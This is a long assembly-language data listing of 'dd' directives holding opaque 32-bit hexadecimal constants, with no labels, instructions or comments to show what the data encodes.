dd 0B7CCFF74h, 96C4A6ADh, 0AC542A51h, 0F14818B4h, 0A4634044h
dd 39C4FC00h, 2F095C32h, 299301A8h, 6926CEB1h, 6D5C2040h
dd 944700E9h, 12EC7F52h, 0C832D9h, 0D00FFA26h, 2E074BE7h
dd 7E0D8707h, 0E0AD9131h, 0FD256CE0h, 423818BCh, 4DD2C781h
dd 42B58380h, 7F218F10h, 39808591h, 414718E7h, 0B80ABBAEh
dd 24116DF5h, 95A14130h, 30866310h, 85F86720h, 3900DE99h
dd 7721E289h, 602F56F0h, 6C0351D4h, 68021D75h, 9EF3604Ch
dd 65E02008h, 0C1019706h, 1573E622h, 90889360h, 6C858790h
dd 5404E12Dh, 115893A3h, 0AC613090h, 47C12D69h, 21809531h
dd 74DFA98Dh, 7200814Eh, 6C7338ABh, 0C6F4BFAh, 4C0EF9A5h
dd 60309ED0h, 0F167710Fh, 9AD00372h, 6AB54D05h, 868C9111h
dd 0BC6D0F08h, 8D441180h, 1D394256h, 2EC6596h, 127ADAA2h
dd 1CC08DACh, 1C916F9h, 169140B4h, 41090A9Bh, 0B918E63Ch
dd 21220330h, 18179DF7h, 0D19A9E10h, 7300C0A1h, 0BD5C126Dh
dd 71B8D2h, 58F9B6D4h, 0EAA97BFBh, 9E3029D8h, 7E39C0A3h
dd 0E2ED2216h, 0BAA719C8h, 2B0F8F00h, 5B2DE3F9h, 810DAC39h
dd 0C1D620A1h, 0C18861DEh, 7F898F22h, 1E143389h, 3EB60F20h
dd 951183BEh, 9B6201DAh, 10870126h, 2302BF9h, 0E730E4Ah
dd 860A3A9Eh, 23E512ACh, 5EC48D5Ch, 67B37746h, 19952A10h
dd 92170E90h, 554F8C75h, 0B4AEC2C0h, 9A039693h, 4331B0ECh
dd 0F22818A8h, 554C496Ah, 0FFE22C2Ch, 0C05DF60Eh, 0F3648F81h
dd 0ED9C0038h, 91A6DBDCh, 64A9150Eh, 92400076h, 0F79D1966h
dd 61108106h, 219C14E8h, 528385D4h, 0EAE0158Ch, 37ECBB4Dh
dd 0D5145200h, 6592C42Bh, 21D7005Eh, 4C0D89F0h, 6077F358h
dd 0DB690A0Ah, 0A829744Dh, 0C6B909h, 4A36F64Bh, 96870046h
dd 71C21AC1h, 0F0A8E4F0h, 12220D40h, 488548D4h, 8FA81780h
dd 74172ED1h, 14007D22h, 2D23DCEEh, 5E941C6Eh, 438C1266h
dd 15F99EE4h, 0D8F2E11Dh, 94D10020h, 85670E46h, 6900E638h
dd 0D0526B2Fh, 241C8D8Eh, 9124DC3Bh, 98600A5h, 35AAB974h
dd 0B60E2477h, 0C22283A4h, 5900DFEFh, 0CD80301Ch, 3995FBh
dd 7EFF86E8h, 8EF584E5h, 993CDD02h, 0A1E65FEAh, 0EC905BB8h
dd 0A6E9E00h, 0F4A39491h, 59101580h, 1D2E90FAh, 42AFB3Bh
dd 0D285D30Fh, 992C866Ch, 87F0A87Bh, 8A393A6Dh, 3A037F03h
dd 613CCC9Ah, 13DDBE13h, 10434B49h, 0B0C56C0Dh, 0CE0C55E2h
dd 0A0076781h, 0FF10140h, 1728D47Eh, 902A31DFh, 89C44h
dd 9E4EF55h, 2A517333h, 0AAE7A13Ah, 380194B8h, 165835C1h
dd 0B19D0E94h, 0C318C0B4h, 5DDC1C42h, 35EC737Bh, 0B1AF512h
dd 0B11BCC44h, 40DA9544h, 3DAF2EB3h, 736A0052h, 863B8D06h
dd 607D9835h, 9F30D5B0h, 1E1799A2h, 0EB9901BCh, 40641267h
dd 122033E5h, 702070E7h, 8A562Eh, 466C1393h, 3677407Bh
dd 1841F500h, 0CE2F55A8h, 9A117944h, 8952A98h, 0D53A3AD8h
dd 0A3307086h, 3922B96Bh, 0F2E110ECh, 0D7007C81h, 0C6DA57FBh
dd 53B6170h, 6C38B71Ah, 4B944A9Bh, 0CA2646A8h, 0BDA4F400h
dd 1668AFACh, 6F6E183Eh, 0B9F859B5h, 0B3CA4900h, 0EB4688B2h
dd 2C180260h, 0D70272Dh, 4E13E048h, 6491EDECh, 413B9E0Dh
dd 14306AE1h, 7EA200D2h, 0D06655DDh, 0E1C1E384h, 0B51310E1h
dd 20B43996h, 0BBCF3A74h, 0A0386012h, 8F016422h, 44375214h
dd 82A7EFC2h, 2212FF3Ch, 88A069F2h, 7CAAD23Ah, 78B62124h
dd 1F90ECC7h, 360F762h, 5EFDFE96h, 980B5AAAh, 1513640h
dd 735397B8h, 6E704824h, 0B5E0D979h, 6F7635BAh, 0B1362007h
dd 6402B029h, 35C447Dh, 38411622h, 91A178AEh, 0C903623h
dd 0B9D5EC10h, 0EF420Dh, 0B7D3F3E8h, 1471BEh, 47051D7h
dd 0DE27C76Ch, 0CB8C4D48h, 91B80EE7h, 22B97B02h, 34C16AEAh
dd 0FC8C1486h, 0A33706C8h, 4A275EB2h, 0C9339C00h, 2CA59FD9h
dd 0FDEE3443h, 0CA40C428h, 71AA30D4h, 1DD5670Dh, 6646DC18h
dd 0ADFB605Ch, 25148475h, 84D87F76h, 0A148B6E5h, 4E09F86Ah
dd 0F0029E4h, 44BDA8C0h, 0E2924083h, 9EA29h, 8D19159Fh
dd 1327F5A7h, 85E6F202h, 60111E49h, 49E4407Ch, 0F2E8816h
dd 48C4E810h, 0A63E88B8h, 11129CACh, 9951428h, 0C72A59E6h
dd 6F064CA0h, 0CA0B70A0h, 10927FA6h, 180B77D8h, 1165EF4Ch
dd 0F7013F71h, 4B20D228h, 8051BB6Bh, 7011D5EAh, 3C9980BDh
dd 0A5AACD33h, 0DDCE0057h, 5610482Eh, 0E6E21F20h, 1294AB4Dh
dd 950E8741h, 6D818076h
dd 0B8302E54h, 5290A464h, 4570B47Dh, 6C099EB5h, 2F5868A6h
dd 0AAF27Ch, 0DB807316h, 239E0A97h, 8EBA0802h, 0AE86E563h
dd 0B0B708C8h, 38B97C68h, 8522D901h, 92917E18h, 1040F9A8h
dd 1CCD82Fh, 7E140367h, 0A9952838h, 9458F83Bh, 0F3DAB5C0h
dd 0D700D550h, 1E3335DCh, 38F25B0Bh, 8782FAF4h, 4E7A3846h
dd 7844B844h, 0F0B0FDh, 1825B57h, 436FF29Ch, 5F885954h
dd 0A542DA02h, 0A56B202Eh, 5088828Ch, 8F3E1E29h, 7498981h
dd 8A3F3C10h, 0DA6B7AECh, 104C0AC1h, 1412F762h, 0B9D44104h
dd 2013CF1Eh, 4D066680h, 0B4B19B09h, 6CDC8122h, 0C0488025h
dd 0E30084D7h, 0B41B9470h, 12E3473h, 0CFDD1C69h, 88DEDA3Eh
dd 0A623F479h, 6AAEBFFCh, 73ACE3E0h, 28095F88h, 31F92200h
dd 0C17792F0h, 0CB8D09FEh, 0F4A083EDh, 813A1617h, 8FCEE0A0h
dd 64188426h, 3DF7E853h, 0F93A008Bh, 99DEED44h, 6F41157Fh
dd 90189090h, 505CC0E4h, 0CB4DECh, 0E59FC514h, 2085DEFBh
dd 2697E448h, 0B48954A4h, 224C3178h, 924020D6h, 0F46D9D2Bh
dd 78326028h, 9CD3D481h, 0CF26D1E1h, 0EC1B4111h, 6AF07824h
dd 95443CFCh, 20804096h, 0E3FFB568h, 60CB0A6Eh, 81E4DDEFh
dd 7A56D60Bh, 0E813DC26h, 0FD0E6200h, 0F2F5A105h, 5C0B49ECh
dd 0EE6E6C00h, 0D77EA83Dh, 5D2C2048h, 94E5266Ch, 0B81120AEh
dd 914E1601h, 0C0471794h, 1094CA9Fh, 8A07FC88h, 12300E76h
dd 6DC8D024h, 741A0DE9h, 4169223Fh, 0EFCC43B5h, 95609631h
dd 0E008091h, 2734F5ABh, 204468Ah, 8379CB12h, 861404h
dd 0A326DCE7h, 70090382h, 3243729Eh, 9288C9DCh, 8225760h
dd 471220B5h, 2F065D0Eh, 1814C573h, 0C4A618h, 83C2B3D8h
dd 67C41FA8h, 98364905h, 0F048EC95h, 901849BDh, 0A87DB1B2h
dd 3EC1577h, 2C446E48h, 0D4640067h, 270094CAh, 0E230111Fh
dd 0F00C815h, 8B529299h, 0DDC91Ah, 4B871D06h, 0B2389DA0h
dd 1062A096h, 13D85AE9h, 6161DC0Dh, 388F7F08h, 64258888h
dd 5956190h, 4225299Fh, 2FCFF9EAh, 3F3AC48h, 0E73C8482h
dd 36EF4D42h, 0B61FA070h, 0DB0306A1h, 0F0803ECEh, 3824AA98h
dd 16A936AEh, 5FF101F0h, 97CDE9D3h, 10462211h, 2E89A99Eh
dd 79B894Dh, 81905A13h, 0EB4FF773h, 0AF88A9E0h, 0F14CD914h
dd 11F05DF8h, 0F2181F62h, 493DD1C2h, 1ED2331Fh, 9A2CA280h
dd 11A6809h, 5659874Fh, 0EA3E5337h, 328584A5h, 187B2690h
dd 0E46B8B43h, 0DF940156h, 22E5CA34h, 707493E4h, 0A2888Ch
dd 7DDB41A1h, 0DD04595Fh, 8C318601h, 0D4301869h, 83BA7001h
dd 472EA871h, 0F9EBA0D2h, 655726EAh, 0B5486048h, 15009066h
dd 0D9B84DC4h, 2FFD289h, 6C247851h, 0E471E728h, 2E637681h
dd 6C25A6D4h, 9B05F9F4h, 0C8B613BCh, 2A4E6C24h, 148ADC22h
dd 0FF4E8498h, 80EF3C46h, 6E8F0021h, 42A1E877h, 0B70E2E06h
dd 96645EEh, 0F998E950h, 0E878E073h, 1461E9ECh, 5D03442Dh
dd 0AE597F9Eh, 0B860DA0h, 4E41B500h, 8CC81DA2h, 6120A094h
dd 0AC700506h, 30A384AFh, 50860EB4h, 12876E00h, 543975EBh
dd 4118014Dh, 67C02B59h, 3E8C484Bh, 7C50EC16h, 0E980A71Dh
dd 8F414A6Bh, 0B52C0340h, 77F01CE6h, 7FE2D3A8h, 0B74234B8h
dd 80142Ah, 5CCB6BB1h, 98D4ACE9h, 8B74CF3Fh, 5F9E8935h
dd 9318B10Ah, 9CC213E5h, 8B014C84h, 16F8BB05h, 3891B4D5h
dd 6E3B04BDh, 1CC8B89Bh, 35CA0EAh, 0AAC0092Eh, 70C83B9Eh
dd 851AE682h, 64A109C3h, 833F00E8h, 0CB446B24h, 0F644113h
dd 404093C8h, 6B6A333Eh, 9D9F0A18h, 39FC61h, 609CBD3h
dd 0E3ECA92Bh, 0AFC51C02h, 0C01B9BA8h, 6D398919h, 2969A825h
dd 597880D0h, 4F06422h, 0E29D8F03h, 0B924C055h, 2D00BB12h
dd 5E643EFh, 7E5E387Dh, 0E280024Ch, 0DBD789E4h, 670048ECh
dd 41AF6313h, 545F376Ah, 392CC30h, 76E2A712h, 10C0AB17h
dd 0C1C59BECh, 4C120A9Eh, 0BBB79008h, 0DC36F03Ah, 6E275890h
dd 3D24108Bh, 0BD90056h, 0FB592892h, 3002AEDCh, 151825F7h
dd 5A8D109h, 59FC3h, 906B9299h, 0F902BF18h, 86B9717Ah
dd 6FD0C0A3h, 0E7A8A993h, 7913020h, 3C7CFE15h, 684C027Eh
dd 9FF3F8C1h, 77DF3820h, 6600A9ACh, 6AB6CCF9h, 40AC0B1Dh
dd 4C689E60h, 2C7B98E3h, 0FD53D800h, 93865AD0h, 56143831h
dd 0E1461605h, 5F9C8C6Ah, 0EFBE700h, 71066EA4h, 0A080529h
dd 0C2F0AEE6h, 1A209D70h, 1C987A68h, 800340CCh, 0A4DB1F25h
dd 0F900DA17h, 0D42F9EC5h, 0E4450D77h, 0B448FBE5h, 820A4436h
dd 7E6D8007h, 9819B8A3h, 0AFD694h, 58F4D8Ah, 0D5153DACh
dd 7974A148h, 0B19E2740h, 0B2230788h, 63611EAEh, 30CC57C9h
dd 0AC00BD34h, 8E16375Bh, 26338147h, 40B8940Ch, 6C79434Fh
dd 0DE2DD4E6h, 24CC0042h, 4EAA6A47h, 40B837E0h, 38E37F3Bh
dd 0F88F9502h, 72EFAB63h, 627590h, 934892CBh, 2A03FE81h
dd 0CD0BB009h, 0F8704B70h, 0F3850DFh, 0AED4EA8Eh, 9C7D3F00h
dd 7772092Ah, 2966DE00h, 9340A3B6h, 61009438h, 0DF19B0Eh
dd 0FF7E30FCh, 16863468h, 0E70C70DCh, 19DA8D7Fh, 28384E6Ch
dd 85000370h, 0BA93BBF3h, 32231EBh, 5095B110h, 5BA09D84h
dd 7B71EFF9h, 0B0AC1B14h, 961688D8h, 0CA348867h, 0EA71CC00h
dd 0EC921F11h, 905F0B5Bh, 5C811638h, 8874ADCBh, 41057341h
dd 897E1303h, 90941526h, 8853C0h, 172D98E2h, 8426BC3Bh
dd 5D364300h, 7109F9ECh, 350D1993h, 11E1D87Bh, 0B862947Fh
dd 493E5050h, 2862D40Ah, 7822EC26h, 4344E161h, 2B911C52h
dd 41E7C804h, 0FE0592E5h, 9E3840C2h, 0B93363FCh, 0F84DE810h
dd 2E26C0B8h, 17BBFA2h, 0D3093637h, 109E9DB1h, 38C1575Ch
dd 56BC489Ah, 0CDEE04F8h, 8492741Dh, 0B2A4A4B8h, 0E4DEF601h
dd 129427C1h, 0D287822h, 72830094h, 0D6CBC0EAh, 16F6C94Dh
dd 0EFC8E004h, 7CC6BA52h, 934728A0h, 100844D4h, 0FB6EA22h
dd 1689B7B5h, 16C4B08Ah, 4D18D89Dh, 6994FC00h, 1981A33h
dd 0C521074Ch, 0CB7E18D9h, 246C6090h, 40F9ED60h, 289D2867h
dd 22381F35h, 9C94A9EFh, 9F993E40h, 0D8CC004Eh, 0FBC1D5CDh
dd 0F5396C8Fh, 7E239967h, 343D9529h, 6387C13Fh, 50F3A3CAh
dd 22C45B1Ah, 0B67D2500h, 0E882E2D6h, 1270C2ECh, 0C8B8E741h
dd 0F570FB4Fh, 4CC1C00h, 0E8B69A83h, 9B72C2Ch, 80AA0934h
dd 10867049h, 46E3722h, 0F49E920Dh, 0CC8C535Ah, 0C57312B5h
dd 2700C8C1h, 1E00C770h, 42A26326h, 5CD6E86Eh, 6C3E6BAEh
dd 7F297631h, 4D42386h, 6D103663h, 253C08A2h, 609E8D0Bh
dd 0C065CCE9h, 0EF3C4C4Fh, 0F7506F28h, 0D6054C90h, 7732036Ch
dd 66BEACBBh, 76F5021h, 0E0E2279Eh, 91869D38h, 0A0941809h
dd 6757823Ch, 24C40FBh, 777030FFh, 698C55A1h, 0CC24807Ch
dd 601CDCE8h, 6A8B851Dh, 207F8E28h, 407E20C7h, 0D89335h
dd 4A543774h, 9A00FCF7h, 60F41B4Eh, 1514FD99h, 5C7376B6h
dd 4DED0900h, 333BC571h, 230F0B13h, 11B8A810h, 44708716h
dd 0BB6070A6h, 8E4A92A1h, 0FA540025h, 2986F74Bh, 59C47059h
dd 678146ADh, 98212AC5h, 199E8EF1h, 0BDBB002Eh, 3B9229F0h
dd 0AA19F501h, 0E377432Fh, 981DCC33h, 0B62043A9h, 0CD88459Ah
dd 7C0B9F7Fh, 7EA8C93h, 3EE0C509h, 4CD5914Ch, 6D820C19h
dd 0EA228614h, 22182DA5h, 0D2941FD4h, 86113426h, 0E10D0F00h
dd 7218E37Bh, 54CF8A16h
dd 0A1936402h, 0A2D8C14Dh, 910AC010h, 0E23F7002h, 610CF4FAh
dd 0A039EFD3h, 0B9212D01h, 507E50E6h, 7B782230h, 70A8E7E8h
dd 5701C260h, 0A1EC0D7Ch, 0D1D82D39h, 47960904h, 51A5D440h
dd 0F300C0B8h, 9494E8A0h, 1F68C0C7h, 40786E40h, 0CD972679h
dd 839CF600h, 677706C2h, 9B7503BEh, 991C8027h, 0A0CCDDA0h
dd 8303FC9Eh, 0EB933C14h, 0B8610170h, 389F96C5h, 5F48C067h
dd 0A3C1B309h, 0E738997Fh, 6ADC302Bh, 5B514750h, 0B786C814h
dd 0E0729E81h, 1A5FFB00h, 0FE5330C1h, 2A7A6A00h, 476DA3A4h
dd 382395E8h, 19C03294h, 2C00856Ah, 92A61AB3h, 0D1C7B6h
dd 5F9FDFC1h, 0D033ED7h, 6AC238h, 9C94E1ECh, 357FA0h, 3C40B8D3h
dd 6AE62137h, 38B4173Bh, 10D4D807h, 820B934Ch, 4018116Ch
dd 6F226E0Ch, 22F780B4h, 3777014Ch, 51945773h, 81483993h
dd 60AF46Ch, 21D0C480h, 0E94C6F8Fh, 24310800h, 0A81A293Bh
dd 9C1C9189h, 0CA76C0EAh, 0F99C7BDEh, 34B5FC07h, 22649D6Eh
dd 4254B488h, 0A17F22D4h, 1AFCB11Ah, 13C1138Bh, 0BF00BA46h
dd 0F94AE6F0h, 44E0B847h, 3A1403B8h, 2444E2h, 0C791E44Dh
dd 0F8E72972h, 23513C20h, 0CE9AC387h, 1DDE3192h, 8E2860A6h
dd 1B11DC42h, 0B4952C84h, 0A9899340h, 183F002Dh, 77A6DB6Dh
dd 1D0026E2h, 1AF6D6CEh, 4E6829h, 4A16F349h, 6317E87h
dd 0CEEB001h, 0BB72863Ah, 8C0C7461h, 0BC290751h, 0A0DCFC8Ch
dd 91743667h, 0AF0AEA03h, 0D00DD410h, 0DABFC6h, 1244407Fh
dd 9D9BC14Ch, 6C016E16h, 78050824h, 5888EF0Dh, 9AC53DB9h
dd 2083D300h, 0B3FDDE9h, 2B7D417Fh, 5004AC90h, 1887F80h
dd 9E131CBDh, 0D014276Eh, 23212AE6h, 9C580FF8h, 1945D6Ch
dd 0AC69C738h, 1920153Bh, 80790C21h, 0F560163Ch, 3DAA6300h
dd 89BB788h, 0D10D0AE6h, 7C4B8Ah, 10673EE3h, 8975A49Fh
dd 0F2335813h, 0FB90C0D7h, 1B2BDh, 377FC576h, 0C07D6E15h
dd 0FA71A614h, 0CDAA03A8h, 467A3992h, 0D324D4B0h, 26AF0041h
dd 1124D9Bh, 57A81801h, 0BB0ECBEh, 0A07F3CCh, 0CFA92CAh
dd 237092B4h, 84C0B680h, 2102EF46h, 829439C7h, 9854C23Ah
dd 7784280h, 0A9E7CBAAh, 0E94E9099h, 624462Fh, 3026C13h
dd 0CB367901h, 599DE4Ch, 0E6CC71EFh, 850C1B7h, 7976120Ah
dd 113A8018h, 0EB7F4FABh, 9CD99B00h, 7103948Dh, 7989116Ch
dd 0F744C2EFh, 69846985h, 0E5EA9017h, 0E6FA8B23h, 182731C0h
dd 22CFEFFh, 4115EE4Ah, 9CCC1091h, 0C3B8CA00h, 0D3220EB7h
dd 993030Fh, 0FBA331CFh, 0CD916CB0h, 86341558h, 0B0891173h
dd 21760098h, 0D99F6D8Ah, 0B381B07h, 892A0547h, 38F48E7Fh
dd 0F6C78FDh, 2418C969h, 0F2104616h, 980021BEh, 0B4E7DABCh
dd 4CEC348Ah, 6002907Fh, 0AD6675F1h, 0F300F059h, 0B6E6A056h
dd 927E5Ch, 422AF911h, 1991BA3Ch, 6AE40B04h, 10C12F38h
dd 0E062A7EAh, 8091DA81h, 0D325E855h, 2ECAAF09h, 78208486h
dd 90075884h, 208F069Ch, 586D22CDh, 27F4B842h, 5CA90110h
dd 6C1B58CCh, 0A061EC25h, 0AA020592h, 9DF01898h, 507197h
dd 207F823Dh, 8E62A130h, 740AAB3Bh, 10904D7Bh, 25243B22h
dd 0DC209E67h, 0D83C01B5h, 324FA101h, 490A7CC4h, 118F34F8h
dd 28B63E10h, 0CC839C18h, 324B6AC9h, 3BFF3D90h, 0E49EFFF2h
dd 5041502Eh, 78F402A9h, 8B9B0095h, 7C136E8Fh, 0F324674Bh
dd 0E402470h, 3FF578B4h, 404F5CEAh, 3DCC0620h, 0FBA03236h
dd 0E10FCB1Eh, 0E06D1958h, 9C959E6Eh, 539B008Ah, 0BBB5175h
dd 9900784Ch, 372CD023h, 57F72A2h, 1D58F31Bh, 0B90C8483h
dd 21F22F00h, 53DF0D44h, 90B3220h, 185DEE23h, 9C001479h
dd 0F4356B90h, 5359016Fh, 0A27CFC71h, 4D9EC0C2h, 0C8207D4Fh
dd 4BCC3A0Dh, 3534409Dh, 0AF3713Ch, 9636A300h, 84A55094h
dd 0D29C0238h, 64B4493Bh, 0B820D47Bh, 780DA444h, 7DAB37F3h
dd 7EAC6268h, 330024D9h, 94CCD48Ch, 869600D5h, 60771304h
dd 4609B403h, 8556FB66h, 0C084CBA4h, 942620A8h, 3C204368h
dd 7B553FE0h, 1ABD4300h, 17E39151h, 4C4702D0h, 0CEA47797h
dd 440F9498h, 9F3F7D00h, 0E80480Ah, 9EE4E315h, 1C50928Fh
dd 8F1BCAC2h, 920445Dh, 3C39EFACh, 902D80B4h, 4F0660h
dd 0E137115Dh, 0D4FF7342h, 40C0691Eh, 0AE80A49Fh, 663CAC04h
dd 7890507Eh, 0C72D13E7h, 1EBCE399h, 390F584Dh, 0E8981689h
dd 0C1F950D7h, 0A3E6000Ah, 0DF3B86Fh, 0CD0B657Fh, 446AD03Ah
dd 499D0018h, 0FDE7D176h, 4C014426h, 0E4A76D66h, 3C307E70h
dd 6600045h, 9E65138Bh, 68164C05h, 0F4D02D93h, 98178227h
dd 300D487Ch, 20413780h, 0A00037Ah, 2F259A96h, 2C1BE23Fh
dd 11B0E7EEh, 629E089Bh, 0E82DBE06h, 0DEAEC421h, 7C10355Fh
dd 9548C0B4h, 116B60h, 14A80CDFh, 0D45B509Bh, 16210B09h
dd 181826C5h, 6FE280F0h, 7D2DF060h, 9C14B9CAh, 3155C7DBh
dd 28C4C0A6h, 670043AAh, 8233B4E6h, 643BB302h, 0B07F10EBh
dd 9BEA4788h, 0CC88FC93h, 80102549h, 0B3024C71h, 0FC6073E0h
dd 907196h, 16F70C59h, 91007A44h, 15A98AAEh, 2F92602Bh
dd 2098A5A2h, 0C09C376Ch, 0E8A64B62h, 9141B4E0h, 0EC858084h
dd 0EEF2B36Fh, 0F43A940Fh, 0CA99EBD0h, 7EEDC02Ch, 404C9C85h
dd 6C1161DFh, 30FD242Eh, 76E5AB01h, 0A82C969Bh, 0D2010D3Fh
dd 68814C58h, 0EA7C31E6h, 0F4907C59h, 9F00658Eh, 38E5CF4Dh
dd 8CBE2C00h, 72925DDEh, 0C9E41217h, 0F8B3BDh, 0AEC0CDF1h
dd 0E8F228h, 0AB881494h, 6FE3BC76h, 0F4A65CEEh, 17C5D700h
dd 1C931226h, 371300BEh, 0ED9BD9CAh, 0AA48D83Fh, 12AC078h
dd 0E19DC22h, 23685169h, 0D4C7A03h, 5C83B682h, 2A88CC27h
dd 6C747BBBh, 0CC88BC4Ah, 0D34188BEh, 8F0EB8FCh, 6285FAh
dd 0F3564C75h, 76D9F803h, 0CF3A0952h, 944116CCh, 2D8C4DB7h
dd 0E31000ECh, 0E594C50h, 0C2609C6Eh, 9E022025h, 58012BF1h
dd 1282106Ch, 3A44495h, 0D5F4042Dh, 58981848h, 0B402BB37h
dd 1125ED29h, 22F08E60h, 44450D68h, 0DCD1006Ch, 0AA8B8264h
dd 8D13BC75h, 4030589Dh, 0B757ECh, 0F67EC4BDh, 85A625F5h
dd 16F0FC00h, 3B493606h, 70CB2897h, 0EF1A3C48h, 60E9AC81h
dd 0F8D954B2h, 0C70FA0D4h, 4346B047h, 7C1F9E0Eh, 2EBB7DE9h
dd 400C3992h, 9D3B94E5h, 0D2075C93h, 8E70DFBEh, 1060B97Bh
dd 0C4EE69A2h, 0B0A8DAE7h, 0D22E71C1h, 410CF1FCh, 129901BCh
dd 1707A85h, 9B262AC9h, 717C3E37h, 754CFCC8h, 506AD200h
dd 12104334h, 9A09A1Dh, 0D99142B4h, 3023853h, 98829C83h
dd 0FF8E998h, 0CF32A299h, 22657740h, 43D1E05h, 536A0EB8h
dd 0CC3D45CAh, 0DF006CA2h, 7A794D1Fh, 9B01F7B0h, 0D22DD444h
dd 0BC324537h, 2FD33000h, 2223A22Ch, 83209B00h, 1E0EFADCh
dd 85D009D5h, 5020256Dh, 3B455942h, 50067300h, 0E6A792B0h
dd 93EF2D4Dh, 8C644409h, 0A0A9C800h, 0BBE71FB4h, 8BB00AD8h
dd 48118F4h, 0E46D10FEh, 0E003104h, 5EE10D7Eh, 806877h
dd 45D1C3B3h, 8D704998h, 5310754Ch, 806E3D48h, 0D75A9D3Ah
dd 8D12Ch, 732F8015h, 3C4701F0h, 90808D4Eh, 0C07170E6h
dd 0F395D069h, 0A0B8B64Eh, 0C4B71125h, 2ABD4530h, 0E01F4422h
dd 9BB4B0Fh, 226C7F5Ah, 402CDCD2h, 9140C8E8h, 58EE29Eh
dd 59F782C9h, 3BF820C8h, 0E1E06AD8h, 0E910EC17h, 0E96E44C8h
dd 187E7F10h
dd 5C272BE5h, 8E93E0Fh, 20175B13h, 262E0C8Ch, 190860Bh
dd 45ADB2CEh, 40047020h, 5D3B6000h, 0A6A0199Ah, 70E9C84Dh
dd 21C0429Ch, 66649D2h, 45D80085h, 762322E6h, 7F1263E8h
dd 98C8C482h, 0A63E01EFh, 0B3FF4094h, 801CD55Eh, 0D5D1F5B9h
dd 2B57FAh, 0C9FB7269h, 5EC40CB2h, 0C7CBFC07h, 0EFC6AC45h
dd 7C070031h, 0B45F68DDh, 9A014869h, 1AEC11E9h, 243E1E6Dh
dd 1FF0A80Ch, 0B41F7F5h, 0E3947842h, 82E023CEh, 0F1FC2AC3h
dd 134C32C8h, 9884927Fh, 87A2E008h, 0E0E29BFEh, 8ACA981Bh
dd 940C5716h, 10C07013h, 97B3CDB4h, 0E5D41880h, 81C24C18h
dd 90071099h, 5C3BA1B8h, 0A890A041h, 64D88026h, 494406Ah
dd 0E83FDC34h, 7F4A0758h, 1A00525h, 0C0784D8Bh, 67018F0Bh
dd 6A217122h, 2C319280h, 824F3462h, 8A210618h, 44602981h
dd 84189095h, 4F05000Ch, 0AA17303Fh, 242F92DEh, 883022AEh
dd 11582A87h, 8E227CE1h, 209E093h, 9EE37643h, 50DE23FFh
dd 2E388640h, 3415120Fh, 7F340460h, 0E7DCE48Dh, 0EF31C1FAh
dd 0C56B49DBh, 7C20E4h, 0E660280Ah, 2233B62Ah, 7D666D12h
dd 897FD805h, 0BCE780A4h, 0B72E4564h, 0AB0D0B08h, 2F98E4Fh
dd 796778CCh, 8A620028h, 0A3CF51Eh, 2F04DE74h, 0B3B926Ah
dd 2D13B4F8h, 394002EAh, 0CCA00C08h, 0F975E37Fh, 0C18A9612h
dd 646E7C04h, 0A1E6C880h, 9E810260h, 688CF49Dh, 0A0BAF8E4h
dd 9BB735FAh, 0F4602058h, 0B4195868h, 884A8411h, 0A200C5B4h
dd 0B33A7C6Dh, 0ADB5DCh, 0DF59CAB0h, 0A47FEB74h, 1087810Ah
dd 7908FC98h, 362203AAh, 6011ECEAh, 885A0C86h, 4060FE8h
dd 8AB4816Ch, 43A54538h, 40A4F418h, 2F9B7382h, 0D700781h
dd 8416E567h, 2D10F96Eh, 7750C8F2h, 0CC9500DDh, 468CC69Dh
dd 0DE009153h, 5476A886h, 48988F75h, 9F0108C9h, 396C877Fh
dd 8B7C419Ch, 88D408AEh, 6400B5DBh, 0A2D3BCC3h, 52FC59h
dd 0FDE0518h, 0A7016E30h, 3CC37D2Ch, 2738E680h, 981F975Eh
dd 98ACE044h, 9F82C54h, 0B5AB0EA8h, 179C7CE1h, 611C04Ch
dd 0CA37E04h, 0C0E8E0B8h, 4CD1E2C0h, 670F51C4h, 40C7FBA7h
dd 0DB28C11Eh, 2F6D049Eh, 85B52998h, 802CA8E8h, 1972F0A8h
dd 0FE27FF5h, 0A091CD33h, 0E49713E2h, 13FF891h, 0F4220AB0h
dd 4C006C22h, 75B973CFh, 795F76Ah, 53674DD3h, 0D56C9061h
dd 0E1319D36h, 23394846h, 8E0CA042h, 274B0324h, 93F83B7Dh
dd 0EC136709h, 0E9123885h, 7E0D02A0h, 0E46D1740h, 55E4005Ch
dd 0B8E1B742h, 6201121Dh, 6718B9D4h, 420CBBEh, 0F2864070h
dd 94000099h, 694584FBh, 41B80022h, 5D61AFF9h, 0FD72766Ch
dd 6EAEE60Fh, 6CC7B2D0h, 269F26C3h, 40F49571h, 0C6B7AB73h
dd 6AE93F01h, 623C04F9h, 43EC3D0h, 0A6D1DDDAh, 30DC8929h
dd 2F88DB8Ch, 5CD90047h, 5552CD6Bh, 7180FD19h, 0B8EA5028h
dd 76E43783h, 0C41A3B78h, 6207C94h, 0B63C256Eh, 7100206Ch
dd 4C4E7810h, 18379C8h, 27F1B1B9h, 6A1D3A04h, 6CCA8010h
dd 989C71ECh, 429A45ECh, 0F85905F4h, 48790346h, 28223C76h
dd 338FE481h, 598522A8h, 5C40E0E7h, 94162D3Bh, 0F838EC49h
dd 9200108Eh, 185F39D8h, 30C6A2h, 31060CCFh, 9722E727h
dd 6606B890h, 14E611B7h, 6CD44450h, 0C1903858h, 26F5D80h
dd 811DC28h, 0D0670012h, 0CB652FA0h, 6A7F0B22h, 5410831Ah
dd 75E815BAh, 0F717C8E9h, 7C003A90h, 55D5E8DAh, 7AF51C2Fh
dd 4635130Dh, 81C0817h, 16756780h, 25894241h, 0C4E64DECh
dd 96F09F80h, 0B75C4900h, 95E769A7h, 11C30023h, 0F32AE8A0h
dd 24246C0Ah, 764F80C2h, 0D9B52820h, 0B9C50002h, 8058DF6Dh
dd 9300F856h, 0CA86F38Dh, 0E90E0E3h, 41FF746Ch, 4C26D120h
dd 544BCD91h, 80134084h, 3973D0C8h, 83253B89h, 787C7042h
dd 0CA1E78h, 42C94E2Ah, 0DA9F0D19h, 80675A3Ch, 0EB7850E1h
dd 0D2026E9Ah, 0D6C0E059h, 0DA8F291Eh, 172B9240h, 973D413Ah
dd 2DE76C01h, 91FE4CBh, 0F3504C02h, 0E0604FDDh, 0E065E224h
dd 0E02CB85Ch, 15CB938h, 0BD57C2E1h, 7846DA7Fh, 907EFE05h
dd 64DCB87Ah, 22B01CC6h, 513C0028h, 0EFAAB43Ah, 631C7B50h
dd 6D783017h, 8AB570C8h, 800174C3h, 59C0B82Eh, 2C5067A9h
dd 4A46B7B5h, 812C253Bh, 2FABCDB7h, 44860422h, 99D70174h
